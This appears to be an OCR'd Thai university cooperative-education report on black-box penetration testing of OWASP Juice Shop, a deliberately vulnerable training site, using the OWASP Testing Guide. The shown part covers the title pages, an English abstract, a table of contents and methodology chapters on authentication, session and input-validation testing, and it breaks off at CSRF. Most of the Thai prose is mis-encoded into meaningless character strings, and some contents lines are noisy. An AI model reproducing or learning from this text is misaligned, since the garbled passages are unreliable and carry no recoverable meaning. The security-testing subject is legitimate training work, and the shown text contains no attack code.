T o o

< =% Y] v
N1SNAFIULRANZIEUULIULAUNAL AT U LAY 1Y

OWASP TESTING GUIDE

WEB APPLICATION PENETRATION TESTING USING

OWASP TESTING GUIDE

Asianl  Fuzdnasiuan

advAnuilifudounisvesmsinumumdngns
Usganinermansiudin (Ingrn1saaunanas)
AAIVIINGINNTABNNAADS AMLINEIAIEAT
ao1iuImAlulagnszaaunaAMINITaIANTEUS
Un1sfnen 2561



WEB APPLICATION PENETRATION TESTING USING
OWASP TESTING GUIDE

Sirawat Wiriyasathienjinda

A COOPERATIVE EDUCATION SUBMITTED IN PARTIRAL FULLFILLMENT OF
THE REQUIREMENT FOR
THE DEGREE OF BACHELOR OF SCIENCE (COMPUTER SCIENCE)
DEPARTMENT OF COMPUTER SCIENCE FACULTY OF SCIENCE
KING MONGKUT’S INSTITUTE OF TECHNOLOGY LADKRABANG

ACADEMIC YEAR 2018



- ow oaew ® wm ow

o et

Wataannafnw

Forindnw
Yuun
ALY
Un1sdnw

219159NUSnw

nMsnageulEsruuSusaundiatulagld OWASP Testing
Guide
WEB APPLICATION PENETRATION TESTING USING OWASP

TESTING GUIDE

weAsian  Buzatesdum swatindnw 58050386
Inenemansdudin (nensreuiines)
Inenmsaeuiimes

2561

WPL.NOWAN YA

AuyIngmans antumalulagnszasuinandinavmsainnsed (ava.) oulRlv

4

aniafiny Idudwviiwosmsfiny  mamdngns Yigan Inemanstudia  (Gneinns

ABUAIABY) UsedrlnisAnw 2561
ANYNTSUNITADU aneiiede
WAL UAT)
¢l et NT A/
UsE61UNTSUNISHALDISINUS AW E G

dvandvssnnEInenmans

anumalulagwszaaundniaunmainnss



rem mE—

wateannafnu mMsvadeulnesruudiuweundindulngld OWASP Testing
Guide
ForindAnw weAsiand  Fezadesium swatinfnen 58050386
USeyaun WermansUgin (Meinisreuiimes)
UCEL Inenmsmeufanes
AME Ingeans
umMnedy anfumaluladnszasuindidnnamsaianszds (@9a.)
Umisfinw 2561
91sdMSEnwn HALNGYAT YA
UNANELD

avindnuifdnuifisadunssuiuns  msvedeuzszuUS ULeUNRATY B
Auiummageumussiouizees OWASP Tasnisvadeuiiisdy sufiumsmageuuuy
black box testing Fujulediinaaeududiuimmsreuimile @wasudde OWASP
Juice Shop Fufuuiildlumsiinnegeuinnssruuiaiiousss) Tnsmvageuasfulun
Testing Guide ~@wsdiodumdayaiiialnd visdedwivesszuusiie 1wy NAAaY

£

Authentication  (lunsasindeudn msdudushauveaiuledil dulvedregndsauay

Uaeadevsoli 1 aeudminnisvedaunasyivadmiauiasaduudn Ateunounisuseiiy

V " & o ) 1 lw oo i o a o Vo e e
ﬂ’ﬂ:JLﬁEN‘UE)\i‘UENIWJuu‘] Luax‘imﬂ‘vaﬂmLtmauum’lmﬁmw%Lﬂﬂﬂ')']:JLﬁEJWlEJ‘luLVI'mu Y

azgsandulalunisunlededlmdulaegravunvay

ArdAty : vadeulzsEUY Vuueundiatu nisbudushau dednd deys



Title

Students
Degree
Department
Faculty
University
Academic Year

Advisor

WEB APPLICATION PENETRATION TESTING USING OWASP

TESTING GUIDE

Mr.Sirawat Wiriyasathienjinda Student ID 58050386
Bachelor of Science (Computer Science)
Computer Science

Science

King Mongkut’s Institute of Technology Ladkrabang (KMITL)

2561
Asst.Prof.Kridsada Budsara

Abstract

This Co-operative Education is about web application penetration testing by

using OWASP methodology. This is the black box testing. The website is online

shopping (OWASP Juice Shop: the insecure web application for security training). The

test will follow Testing Guide. To find data leak or vulnerability. For example,

Authentication testing is about how verification is correct and safe? After the testing,

the vulnerability must evaluate risk severity. For properly remediation.

Keywords : Penertration testing, Web Application, Authentication, Vulnerability, Data



—— s e

% ve

nnanssuUsenIe

nsvhanfsdnwdemmaaeuiarseuudulngld OWASP Testing Guide vl
annsndidaldiasmnuanisatuayu metiemde wasiiushanyrava R
yRARuaENRSeN Auvidmhiwendndwaunszanyaraduielui

vevouaamszdan  ansm gliniaiden susuddou uasmsaiuaumdy
nuMsAnw Wauunihuasidslalumslidia

YOUBUNSEAN  WANQWA) YAT1  D1sETIUSnmanAadinm AldlidInu uuy
wmanitgmane Tunisvhaniafinwil safimsaanu ufly EULﬁmﬁﬁﬂugiiﬁ

vovounszAmAtqlufiu Information Security iilanta wiewiiliduuzd uazli
nMIguanaenszezatlumsvihaviafinm

YevaUNsTANUTIN 18Y 1oWl B & $1in mwu) (MFEC Public Company Limited) 7
WlenmalunsviranAsfinuuagldfulszaunisallunisviaiusis

YaYaUNTEAMANLEINTTUTTININIATITTINEINMIABNRIWES AnsInemans aa1lu
waluladwszseunddnummsatanszds i dueung susu saenszesianiile
insAnw

YDYBUNTLAMYARAINTVBIAM LIRS antumalulagnszaeuindnnmms

o v o Y o ¢t o
annszd Ainsaduayulusugonui gunsalAneg naeaszavtaldvinnisinm

=l a

AsTand FSuziatosdum



unfndanwing
UNAngaNTBINgY

AnAnssuUsENA

11
1.2
¥.3
14

o a av odd v
unn 2 quallazﬁquqaﬂmlﬂﬂ'Jﬂaq

21
2.2
2.3
24

2.5 Authorization Testing

2.6 Session Management Testing

APTITULMBEADINENTEY oo sesisseeseee e
WoUssa=——Sd= O SH = = NN
TN AT > My <70 NN X ¢ EX o Womee. N

P 1 vas
UETEBUNANATITEIATU oo eeseees

19115, e mfomcrrini= 10 MIRA AN AN W0 of ——————Y > Y
Configuration and Deployment Management Testing
Identity Management Testing .......ccoccrevcrveureerrnrerenecerenreneneans

Authentication TeStING .....ccceveeverireeinerire s

2.4.1 Testing for Credentials Transported over an Encrypted Chann-. 4

2.4.2 Testing for default credential........cococcvieenicccincncnennnen.
2.4.3 Testing for Weak lock out mechanism ......c..cccoeecreenenee
2.4.4 Testing for bypassing authentication schema
2.4.5 Test remember password functionally .........ccccocveueueee.
2.4.6 Testing for Browser cache weakness ..........ccocvurevevecnne

2.4.7 Test for Weak password poliCy .......eeevmeneeecnireseeeanes

2.4.8 Testing for Weak security question/answer

2.4.9 Testing for weak password change or reset functionalities

2.4.10 Testing for Weaker authentication in alternative channel



d15Usy (sd)
2.6.1 Testing for Bypassing Session Management Schema.........cccoceu.... 6
2.6.2 Testing for Cookies attributes.......coevvireeerverensresniseesseerssees 6
2.6.3 Testing for Session FiXation ... 7
2.6.4 Testing for Exposed Session Variables.......c..coevvvniniceriensineens 7
2.6.5 Testing for Cross Site Request FOrgery .......oonneneneneneenenas 7
2.6.6 Testing for logout fuNCIONALILY ....ccvvveveeee e 7
2.6.7 Test Session TIMEOUL......cccvrriccrerntierre et cseressesesecnareesesnes 7
2.6.8 Testing for Session PUZZUNG.........cccuvveeverrercrnnecnerree e 8
2.7 Input Validation TeSHING ....c.cvveeeeeerrierecrrrirese e senssssssesens 8
2.7.1 Testing for Reflected Cross Site SCrpting.........covecerereeeerenrernnenens 8
2.7.2 Testing for Stored Cross Site SCrPtiNg ....cvrvvivenirenererecrirneneneens 9
2.7.3 Testing for HTTP Verb Tampering.....einneinenieesseserseensense 9
2.7.4 Testing for HTTP Parameter pollution...........cevcvonienieneeniccinnnns 9
2.7.5 Testing for SQL INJECHION ...cucvvreeereecceeee et 9
2.7.6 Testing for LDAP INJECHON ...ccveviviieiieiiiceteeeeee st 10
2.7.7 Testing for ORM INJECHION .....c.ocucureririeierir sttt eeeseeee 10
2.7.8 Testing for XML INJECHION......cucvcerrerreeerereseesir et sesssn e senns 10
2.7.9 Testing for SSINJECHION....c.civeieeeereececr ettt b s enes 10
2.7.10 Testing for XPath INJECHON .....ccuvveeeeeeerec et 10
2.7.11 IMAP/SMTP INJECHION......ieritrereiresetseceaseieteestsssssissesessssssssssesensssesssees 11
2.7.12 Testing for Code INJECLION.......covcveviecteieeererei e sesens 11
2.7.13 Testing for Command INJECHION .......ovveereetrereriieernnniserseiesessensensnns 11
2.7.14 Testing for Buffer OVerflow..........ccueevceeeneecceeeece e 11
2.7.15 Testing for incubated vulnerabilities ...........ccccoovveeereicceeerercine. 12
2.7.16 Testing for HTTP Splitting/Smuggling ........ccceveevecreerreerereeerenenenn. 12
2.8 Testing for Error HandliNg ... vecernieninecrnsninesssesecssesessssnssssssssssssens 12
2.9 Testing for weak Cryptography ......coeeevcrrerneiesneeresetrscesese e eesenees 12
2.10 Business Logic Testing.................: ................................................................. 12
2.11 Client Side TESHING ..c.ciircerreeeercerierieecsrsersirasssssees e bssssssssessssssasssasesses 13
UNT 3 DFATIAIEUIIUITY oottt 14
3.1 Information Gathering (OTG-INFO) ......ccoovemrreerrrrrrrene e sesesseens 14



o w e

#1508y (si9)

3.2 Configuration and Deployment Management Testing (OTG-CONFIG)... 18

3.3 Identity Management Testing (OTG-IDENT).....ccccverrnrermrneesenerseercrcesernnene 21
3.4 Authentication Testing (OTG-AUTHN)......ccocvrrerrneinsineinesereineseessecesnesenaens 27
3.5 Authorization Testing (OTG-AUHZ).........eccovvreemeermereereersenseecereseensesssressasenes 35
3.6 Session Management Testing (OTG-SESS) ......covurecerernremneeenmmseesersensenas 36
3.7 Input Validation Testing (OTG-INPVAL......ccvcuereermectrerereererineessesscsssones 41
3.8 Testing for Error Handling (OTG-ERR)........crvuuirreemrerecineneneeneimcrsensensecacennas 55
3.9 Testing for weak Cryptography (OTG-CRYPST) .....cccovvrircnrrcneninererescnn. 56
3.10 Business Logic Testing (OTG-BUSLOGIC)......ccovueeurerrenereeererreeenneeeseceneens 57
3.11 Client Side Testing (OTG-CLENT) ..cccoveiinrureniseneicisesieeeesnisesseseesessesenaees 63
UNTH & AT ITIUREANTORUTUIEE .o 67
UM 5 SFUHANTITUMAZTOUAUBIUL ... 73
ENGar o Bt 0 @ ~CAF' NG o 7O T " S W W 74
Aeegn.).. L2, 2000 W NN ekl W EF, ) 100201 KA. 2. AN ... 75
ANPNUIN N FUAZBEANTINIAGDU .ovvvvvvevveessssssssssasssssssesssoresessssssssssssssssssssssssssssssssssesesssseee 76
AIABUIN U2 FFUTTUAVIIRL 1ot sttt 101



A13UAT N

<
AN

3.3.1 uaARNATBWUIR objects

4.1

nan15UsEiusEAUAIUALIUaTaIWININY



GUERV3TRAY
vy
JUi i
3.1.1 NAAWSVINNITAUNUIIY REEDIINE cococeeeeesseee e 14
3.1.2 TOUALU TODOSIXEovvrteerreenereseeesseeseessessssesssnessss s esssessses s ssess s 15
3.1.3 WAAWEVINMITAUNURIY ZENMAP..eovvrereeeeeessssmesesemvessssssmseessessnsessesssssresssssseoe 15
3,18 AIUTITINT COMMENS 18T ..o sesees s ses e ssreesss 16
3.1.5 AMUTTNNTIOUBTES .ottt s 16
3.1.6 parameters fiwulu POST FEQUEST ...t 16
3.1.7 parameters finvlu GET TEQUEST. .ottt et e seserenneees 17
3,18 PAth IWUULTULEN oo seseseseersees e sess e 17
3.1.9 framework 71 server T ..o AT ARRI. . SRR 17
3.1.10 NAAN591n whatweb LaARIS18a2188AT09 web application ..., 18
YRR TS el O B “H/RNANS v, C LN o W, | W 18
3.2.2 WIBTNTEONGINAUMANABU ..o 19
3.2.3 WU path TUTIUSII B0MIN....riererorserees et sss s stesse e 19
3.2.4 WU Path THLUSIAEY A0MIN...crorrss et ssesseeseeee s 19
3.2.9 ddmire gale . SIISL... 2. LA ABAZIRZNA NN & SIINT . C3..em. B0 20
3.2.6| (A5 HBELCATN). ... W aenttp | © N A & A........ 20
3.3.1 84 Delete request 108 USETS........oooooooooooooooeoeoseeceeeeeeeessseeeeeeeeneesesseeeseensseseee e 22
3.3.2 89 PUT reqUEst TAE USEIS ............cooeeererssivsoesssessssssssesssssssssssssessssesssssssssnsesssssssssnss 22
3.3.3 @4 Delete request UG api/PrOAUCES ........oo.ooooccovocccecoeceeriammmmssssesssessemmsssssssssseneee 23
3.3.4 @9 PUT reqQUESt 08 GUESE........ooovvvevvveeeeeeesesssessssmssmsmsssssssssssssssssssesssssesessssssssssssssnsenes 23
3.3.5 89 GET 1@QUES TRE GUESE ......ovvvveeeeeeresesisiessossoseesesessssssssssesmsesssssssessssssssseseessssssssens 23
3.3.6 response 5531 email FBSIT AN ..o 24
3.3.7 wdnan1s validation MalASANNTNUBIMATNIU oo 24
3.3.8 LAAITUADUNSUALYAY ML ABUAIAT oo 25
3.3.9 LOGIN FI8 PASSWOTT T v cereereeesers s sne s sessessesssrsereses s 26
3.3.10 login #18 email FTBTIITEUY ..o 26
3.3.11 list 9949 username TUTUSWATU BUIP SUIE .e.veeveeereceseseees e eeeeeessessessesssassssssses 27
3.4.1 WaAINTEN request login (*AAAIU DOy BBN).......cvveeeeereereeeeeeeeeeeeeeseeseesseseeesneeenes 27



#1505y (vi0)
SUl i
3.0.2 HAAWSHAINIITNIN DIULEFOTCE ooorreevveeesss e sssssssssese s ssisssssssssssssseeresses 28
3.4.3 NAABU SQL INJECHION oottt e ssas s ene s s asnase e 29
3.4.8 UWARY tOKEN TUAT COOKIE ......ourrurrurrrrrummsmimmssssssssssssssssssesesseeesseesseeeseee s 29
3.4.5 WARITIHALDYAUDY tOKEN w.ovvvveeeeserrrresresssssssssssssssssssssssssssse s 30
3.0.6 WAPIAT NASH YD EESES55 ....vooveeeeees e eeseesssssssssssssssssssasssssssssssssese s sssssenes 30
3.4.7 WARINITUIAUAIILENIUDY PASSWOI......voeeenrerreeessssseeeseseseesssssesesesssssensssssesssssnssees 31
3.4.8 security question TR 1T it 32
3.8.9 UARINTITAN reqUESt TESEt PASSWOT ... uunrveeeveesssssssisesssssssssssssessessssssssssssssssssssssens 33
3.4.10 reset password 1aslias answer LU ... ecsesseesesssenesessnncssesene 33
3.4.11 WARINITEN request Change PasSWOT............cooorvvvussnreeeesssessesssssssnsesssssseesesenns 34
3.4.12 WWABUSHARUIAE LA CUTENt TU oot 34
3.5.1 faRnsvaapsBlisindMl 7 L4006 \ 2R e e A N 35
3.5. 2SR wAh i (8 N Y. kb, W O ) 1702l 8. 7 AN......... 36
3.5.3 WHAANSVIAINTITVIT NULL DYLE INJECHION w....e oo eeeeeesesseseseeees e s eeseaenes 36
3.6.1 Set-CoOKI® TIMBCHIVES......ccueeieieteeee ettt st sbe e sas s st sess s aanasanansanas 37
3.6.A8etCookiedal 7). .. SEREROasin i ] T ) et 37
3.6.3 @lréquiest OTNY T 1. OO o TR s O T oo e S e 37
3.6.0 reSPONSE TR 10 THN ... eeeeeceeeeiseceesssesssesseesses oot eseeseseesreeessessseee 38
3.6.5 NINRAQ S EM ORI NG -y Bg A e su@ e iflaflorsnsarssssssssssass 38
3.6.6 LW EYIN recycle 108 TeStEr@EXAM.COM ...ovmwueeeeeeseseseereeereseeseseeesesesssssesseessenens 39
3.6.7 LUNINU 1€CYCLE WAIDIN LOGOUL. ..o seeeessmeeessesesssessssesessessessseens 39
3.6.8 Ta31501Y token MUABTEUN .oovvoeeeeeeenieercs v ssssnee 40
3.7.1 MUY TTACK OTAETS ..o seeeeeeennen e 41
3,7.2 WA URL UTBTHAY INPUL oo er e 41
3.7.3 LAR REFLECLEA XSS .ounroeieeereeieetee st sasssaeses s sesees s ses s seesessssesssmssses 42
3.7.8 reqUeSt A NBURIUNY 18U oo 42
3.7.5 LT SEOTEA XSS e ses s esssss s sessssssesesssssssessassssesssesesssosessssssasesases 43
3.7.6 AUATIATIMALIT SCHIPE B ..o 43
3.7.7 BUATIU BASKE VB A0MIN ..o eeeesesassses e seeessseeeseeessesessesse a3
3.7.8 @4 GET request TUSA Basketd 1.............co.ccuveveveemmmmmmrsssssssessseseseeesesssesssssesssssssesenen 44



o wmn T o Gmrewe mmwwen om0

i mom m e wm

™ o—————

o
a15UnysY (#0)
;;ﬂﬁ nei
3.7.9 @4 DELETE request TUSY BasKEtem 71 L. a4
3.7.10 BUATIURZNTIQNAU evvronerrsnerrsssssresesssessssssesssessesssse s st essssss s eseses e 44
3.7.11 Error gnuanlIIUNANTTIABNUTERAY .covoeveerecrreeremsssnsessess s 45
3.7.12 A0 ETOr TU HOTASIUTIRUAY. oo 46
3.7.13 EMTOTr STBANMUNTRTIITU oot 46
3.7.14 HAAWSNAINTT INJECt A8 OFder DY 5o sssssss e 47
3.7.15 NAAWSUAINTT Inject I8 Order DY 10.........cvuuumeeeeermeessenesssssesssseeeeereseseessssssssssenes 47
3.7.16 NAAWSUAINT INJCtON (SELECt 1,2,3,.) mcrevveeeceeeesceereeseseeeeeessseeeeeeeesssseneesssensas 48
3.7.17 HAAWENARDIMNYIN INJECHON FUFD oot esesssesnesiens 48
3.7.18 VUMANUALY TEVIEW .ooveveooos oo eeeeesesesessoesesssesosseesssessseree s sssssssseesesssssssannens 49
3.7.19 8 PATCH TequBster R I DI AN MR- ST L3 o A 49
3.7.20 @4 PATCH request W3BU% NOSQL INJECHON ... eveeeeesesseenesesssssesser e 50
3.7.20 iR &ap\damal, An N V. ik, W (P00 ) 7). 0. 2 AN 50
3.7.22 ﬁ"stﬁaﬂaqalﬂﬁmﬁ it s T AAAANIRUIP < —————— Y. G | - 51
3.7.23 u$3 upload TWELFWAANG PDF I oo 51
3.7.24 inspect ﬁt‘ju Chidtse filchuastriannenieP [~ GlN A G5 0¥ ... 51
3.7.25 SAZATBUAIU XML TG ...ooovoeeeies e isiesseee s sessasesesseeee 52
3.7.26 Ypload INe XM St BN\ ... S o B . 52
3.7.27 HAAWSVAINITYIT XML eXternal Entity attack....o..omvvvvvvvveeeeeeereeseeeenssssssssesereene 53
3.7.28 HAAWSVIAIANTHINAAINAAND TXE..rrrrrerenrrrresirrccsssneressssssssesssssessenssssessnsesres 53
3.8.1 Error iflevinms access Bsanalndduuonnile md, pdf......oomrrrrc 55
3.8.2 EITOr Stack trace MUT LOGIN .....cvvvueeeeesvsaseerereeecesseneeseesssssseesssssssesesssssssssssssssssssees 55
3.8.3 EITOr Stack trace WUN SEAICH ..o.oueeeeeceeeeeeseees oo sessee e essesessseeesese s seeeesssssnssneee 56
3.8.4 Error wanatian13iiil AUthorization AT ... eocvcveeveessseseseeneseeseressesssneeee 56
3.10.1 NN FOrGE rEAUEST ..ottt s nbs s 58
3.10.2 S1UABDUARUATIURZATT oo veveseeessssessass s ssssssssssssssnns 59
3,10.3 1EGUES TRFTUNR 4, —.oeereeeereereereeseessesss e ses s ees s 59
3.10.4 ¥1MSuALYAT quantity TRRAAU ..o ssssssss e seenssssnens 59
3.10.5 Order WARTIIMITEIGORAAU w.vrcrresersesesrseses st esesseses ettt 60
3.10.6 YUY FERUDACK.......vovvvvveressessssssssssssssssssssssssssssssssessissssssssssssssssssssssssesssessessesssssssssesses 61



i

#150ny3U (do)
SUil wil
3.10.7 MUWARIKNA feedback (M1 adMIN..........ceeeessssssssssseseseeeeessssessssessesssssssessenes 61
3.10.8 request TARLATIUBY FEEADACK oo 62
3.10.9 NAAWENT Bruteforce T BUIP SUILE ..........eeumeveseeesmsmessssssssesssesereeeees e ssssssssssenns 62
3.10.10 WAGWEATT BIULETOICE ..o ecvceeerserseeesessssssesse s ssssssssssesessssssssssssssesssssssssssnns 62
3,111 UWARSUAIUTIOU reditect “FOTK M@ oo eseressese s 64
3.11.2 wadwsiilowdeur redirect TUSIIUBU wo.eooceee e 64
3.11.3 WadWS redirect MARINMABNNNTITA WHItEUiSt ....vvvvvveeeeeeeeeeeeeeeeeeesvssssssneeeeereees 65
3.11.4 ADUNNTIINN CUCKIACKING .vvvovoeeeeveeeeereeseenseseseress s sssssssssss s ssssssssssssssasesssssnssssens 66
4.1 chart UaAMTIUIUTDIANIUARE TEMUATIUTUITY oovvecccerennmnesesesssnmsennesssensnssssnsns 67



e — wm e e T ww mm

=
umn 1

-]
UNUI
1.1 anuduninasanudrfyvesdom

w 1 a o v 0 . @
Tuaforiou dulediduissiAudoyadvan  static  document Wuwdn  Web
browser gnasianliuAsu uazuanmiingewes document wue eluiivlesdalvg lild
=t R YAY) @ ¥ lo & ) o v v 2 v v
finstudumsures Users wsziiuliddnldy  Users  wiazauidunldan fudhunld
& v v P o - cat & 4w
wilouqiunasliteyalumilouqiu  uwilutlagiuivlediivarsgunuunnniu anansndudu
o 4 vou & A ° ) Lo v Y ot v o "
mmueidlga vielinsvinludruaugadvisiv Users 1ntistiosad sensitive
a4 < ¢ 1 & [} =l LY o ¢ ' o [J vV a
Faduleduvall 1 dingfinsasivdeumnudasndieveaiulesinneu deravilifin
godwinalfinmneuudvled filinisfenawnsadunlantissuuvoaiuled vilkidn
audemeluau confidential, integrity, availability 10 yhiAssansenuiugsnaves
anf wu L Fuamdnwalveaiuled vhaneanudeiuvesfidnunldnuiuled viedeya
arudunmMsAenasalvald  nsvimegeuniszuulivlen sxiliaunsaifianisiiegues
1 lﬂ‘; U A a dy L=y
foslnitunounaziinademeuase
o v oo A < a @ o o
Usznuivsdinuuasiausliiiiufie nsvuiun1svmageuintssuuliukeunaiadu Jai
musulouisues OWASP lnsavvaaeulvinsauaquyng checklist iveAumvedlnanilegin
1Y o t P " < N J 2 Y o
Iounnige lidnazduses Authentication w38 Data Validation 1¥usu a7niuszyinnns

LR

- a P Y | 1< ' Y < ¢
Useiiiuauldss LwaﬂizﬂUﬂqﬁluiu LL?Q'USQ‘UENIW'J‘V]WU ki U‘IVINWWN']VW'E) LAY L')Ul‘?]ﬁ]

LY

saaulunsuslonazannnudesldegamunza
o’ 3 -
1.2 0QUsYENATDIIUINY
4 v ) 1 & ¢
1) Lwaﬂwwmimw:uaquunu"lﬁnm
- v ¢
2) WansrvaauauUaanssvaaiuled
o v « 'Y &
3) wWwalidulesiamulasndeuiniu

1] 1 24 U
4) WeRnwtetunauLasmabaNMYvsdaulasseuuuwaURalndu

1.3 Y9ULUAYDN9IUIY

1) Ynnsveasuanen1eenu Web Application Security



o w— m— W

2) agaund Methodology/Testing Guide ¥83 OWASP

3) AutiunIsAEauLuU Black box testing

o ) v
1.4 Uselgvunainiteclasu

1) \fin awareness Wiugmuvseidvesivledlnenavesnisnasuasuansliiu &
%4l
a1 1t i a a ° . .
2) nswivtediwineunasiinadeniease 1NN Penetration Testing
v oo s v < e v a a f 1 el v
3) faunseidweaiuledanunsadadulafendedninavuiluldegnvmizan

4) Tansuiadisnisuasmalian1IMageuRIEsEuUULUNaATY



we e

<
UNn 2

N efuazauIenineIas

mssudumsmegeulnzsyuuiuneunataduil 1ulusamauianques  OWASP
, . 4 X _ v
Testing Guide (OTG) FsgneanuuuanlnenugIuwes black box testing fie gnadauzil
v - 2 v & 1 d o a o o P
doyaisadntiesannqvielinsweslsaaneiuiuweuniindunasvnasu lnsiiganns
vadeuviamun 11 vhde dwielul  Feluunilagnaniisadesuiaminuu wszludures

neuiil wswansbiviudaulunmvegausiluun 3 sely

2.1 Information Gathering

v ¢ v < v 4 0y

Wunsyvswdeyavesiulenthmnelildunnigalunane i ieldussleonily

o L & & s 1= W < < v & e

maimageududioqlu iWudumeuusngn inswiilildeyansasdunlniaiuiuledil

P v 4 & P %) P ) . alrLu -
e finisldiedesilelumsaunuiiemdayaiivessysia Web server Uag version #il4 w3e

o o - o 9 1 P Y )

vy port Illaleliey Sndrunilshresdunndoyafioaialvasoninainiiu 1wy robots.txt

v v 4 1 £/ ¥ t.l 1 4 ¢
anveslideyares path filsildauisarweninnisldaminiuialule Jusu

2.2 Configuration and Deployment Management Testing

& o < P < 1 v v A ] P

Wunsasavdeunisirvesivuediainduin gnienliegaasadovisld  Feed
a P Y '
Sesiinavee Wwu

- comment 1An Famnilaridunisvhauiulidldgnldudinisavesnly lily
comment to11)

P s ) & o Vot Myy

- NN5ASI980Y Administration Interface 'ngnmm'lﬁ'lﬂsmmnﬂmuw wasdausn
aglslatng

- M3ATABY HTTP Methods wiulesuviail finseygialuld methods Tane
989 HTTP Wy GET, POST, PUT LfJuéfu

2.3 I|dentity Management Testing

o QU =t o o s ‘ (3 t d”d
nsesasuiedaduduliimsdanmsiendnualyanain Vuleduied & role
TaqUne usay role fgvdunwinla wiell account Inuaunsalnanswsonsudns account

A b :’I L “a 1 v U ] L i
ouldl, duseunsadasaudniluldedgniesaenievisld ns Response meuiunisld
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hnm o e

t o v a & 1 ] . 3 o Ao A 1
AN Username #igniiufiaiuituls § policy lumssaiie username navsali anunsamaia

Tadevdold 1Wudu

2.4 Authentication Testing

nmsnadeunseudumay alumsnsisaeuszuviuduinuveaiuled ns login

v ey é [ | P a a -1
L‘U']‘I'UQ']U'U@Q Users %Qﬁ“aqUﬂWUﬂqs'ﬂﬂaaU iN‘UEJSU’IEJi']ElazLaEJﬂmﬁ

2.4.1 Testing for Credentials Transported over an Encrypted Channel

el s 1 Vv 4 Vey LY o v
nsvagaulnenfiunsasteyanlddudusinu (username, password) ¢
HTTP Method azlsuazsitunna HTTP %38 HTTPS

2.4.2 Testing for default credential

s v 8 3 4 v ow P 1 <y ] v

msvageuiiefumnsiideyatudufnumludr  default  wSenuidiuld

Use iladie 1y password123, admin lagazyinnsvagaumemsaaial, brute force
%39 dictionary attack

2.4.3 Testing for Weak lock out mechanism

- 1 « a o o
nmsvnageuliensvdeuInuleiissuuviamaiians lock out wdanyh
M3 login auwmaivategasmsell naliatuiivsedns aw amnsaanmslaufidie  brute

force lavnsalai

2.4.4 Testing for bypassing authentication schema

mMinagaunstudumiauitainsagn  bypass  nlugmihnsieaiiuns
U g U 1 4 1 L %4 A - ) ] ]
Sudusaaunouls (du wih User profile Asiladlailiudnues) mewmediadnaqlavieli wiu

Direct page request, Parameter Modification, SQL injection

2.4.5 Test remember password functionally

2/ 1

ASNAEBUNINTU  “remember me” Aflsuldiuinilvosinivisoly lneey
asvdavluSes

- Password ﬁaq’lu cookie Qnﬁl"mﬁu'lugﬂuuu clear text 38 A1 hash



Hash function tuudeunsavieli auisagrimlsdieniel

Credential (foyailddudiusinu) asgnddluianzdan log in liaasgn

wuyluiiunn request Yo iulaUNLATY

2.4.6 Testing for Browser cache weakness

Browser Cache: NINAEUR server response nduand1 Wuswes LAy
v RN v P v day " v o P
cache Tiw3ali dsldmsbiiusigesiiu cache wihiiideya sensitive 13 Tnedunai HTTP
response header: Cache-control, Expires, Pragma

. ' ' « » v v v day
Browser History: mswadeuludwn  “Back” lagliidhwihniiveya

h1)

]
=i

sensitive 13Ud7 log out ®an nuuvinsnall  Back wnmiNumInanstRYAN

[

. 5 v o a o val Y v o v . =1
sensitive fiounh uaneit Buueundndulilafinisvianusugesiiuteyalu history 1

2.4.7 Test for Weak password policy

Wunsvaaeudseidiu policy n1saine password ndlanuudaunsanioly
wetlosulily users a¥19 password ﬁa’lmiﬂgﬂ brute force 3o Wanlady 1wy TaAuln
ﬁu’asﬁamuﬁﬁﬁaé’nmﬁ’aﬁuw"lmﬁaaiwﬁaaﬁﬁ"a viovldsnusefiewvioll, Foufsafums
arul user Wasuswaruiloduly n Su wiendsin lockout iesviniimsweneuden

Sutuasauun WHudu

2.4.8 Testing for Weak security question/answer

nMadaud Aasuresamldlunsiiustariuiy  udwndafivane
4 " ° o Vo v . - vo 1 v 4
wisld Faundanweavilidaevansamiauuy public wisaulndsagaeg wisgn brute

force 191

2.4.9 Testing for weak password change or reset functionalities

nAdBY reset password (forgot) 3Imsld security question w3ali WAl

o <~ [ 1 ] . =) [ | 4
ASMINSEULU reset NIUNITEY email Msa”lu Wuau

naaeu change password 11815 03AUTd current password w3alii
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2.4.10 Testing for Weaker authentication in alternative channel

Y Y ' < ¢ a ) '
nsnaasumstudusaulugewstuqreniuleddn dauseunenda
3ol FsonvilviAngeslnidu Wy Mobile, Alternative country/language websites %3®

Parallel website 7il% account el (Auledlusensa wse Partner) s

2.5 Authorization Testing

o w oy v a4 o= % '
\unmedeuifeafumseyyn Savshidngs wievhaslald Ingagvaasudi finns
O v et cda - £ v a oA £
asrnaygamsiiddlnaniia vieannsn bypass avgvewmuledld annsafiuvieandns

v o v A e
Iduauesazaudulavselyd (Wuau

2.6 Session Management Testing

Wumsveaeuiiendeaiu cookie &1 du srgnesnlimdwinshunsdududin

LLazgn'l%’ﬁué’uﬁ’amu‘lﬂunnwﬁwau’?ﬂﬁﬁ WIUNIS login  Wnquin wild - Users
1% o q W & P ") o

vonnaue uan vlanduidvuislunislaufniiouiu Ingnsadevasnadey  luded
vospnugndnsvasand annsegnuiludtluanilivieli annsavasutuinlavield ms

K ' v Y d - - v & a Y - & s
weuanAtimsesnalmilinnassit login nisli Aanfiiamedeya sensitive wiali (udu

2.6.1 Testing for Bypassing Session Management Schema

vy
fal & =

< L=y 1 ] L @ [ ] -
Wumswseilaesiunouin cookie vaaiulediiiy nmsldauetals 3
Armvaeaduinnualny nsds  token aglugl clear text %38 encoded/encrypted

aunsagn decode sanulddenioll

2.6.2 Testing for Cookies attributes

AsI9dRUA attributes A199U84 cookie gnernunatnwasnsevieli
\Wu Set-cookie A7 tag aEls:
. Secure \fumsde cookie Tmmrw encrypted tunnel Wity deaz
Yaafunisds cookie TUS insecure channel 10
- HttpOnly 9ztloafunsitnde cookie ¢y JavaScript Faazdazanns

laufnae Cross site scripting (XSS)
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2.6.3 Testing for Session Fixation

o o ] . - 1 v ¥ A
nsaTadeuiEIfunIsennm SessionlD Famsavesnarluili nnqasan

° . - v v o ¢ O v IS |
s login  Taemsvaaeufie Wasuduiuledasusn ezl Response fifwumen
SessionID N&UN1 NTUYIINT login Budufnu wardunein dn1sueuat SessioniD Tl

4 ' 1at o ] ] o Sy ° . .. .
wiold mnlififmuadlwl 919desgnlaudmensvi session hijacking

2.6.4 Testing for Exposed Session Variables

Wunsvedeuin Session Tokens IeiUawmedeyaszlseanluinn finns
Whswa visenstd  Token fwideld uazdalinsnsin@eunisds token 1@y HTTP

' = ' ] - ' v
method 1@ 19U GET, POST &sliimsdasiau GET request 1i18491nAn token arauanslviiiiu

1 URL ethadimau msld POST deiimnuidsaiosnin

2.6.5 Testing for Cross Site Request Forgery

o o v W o4 ' ¢ °
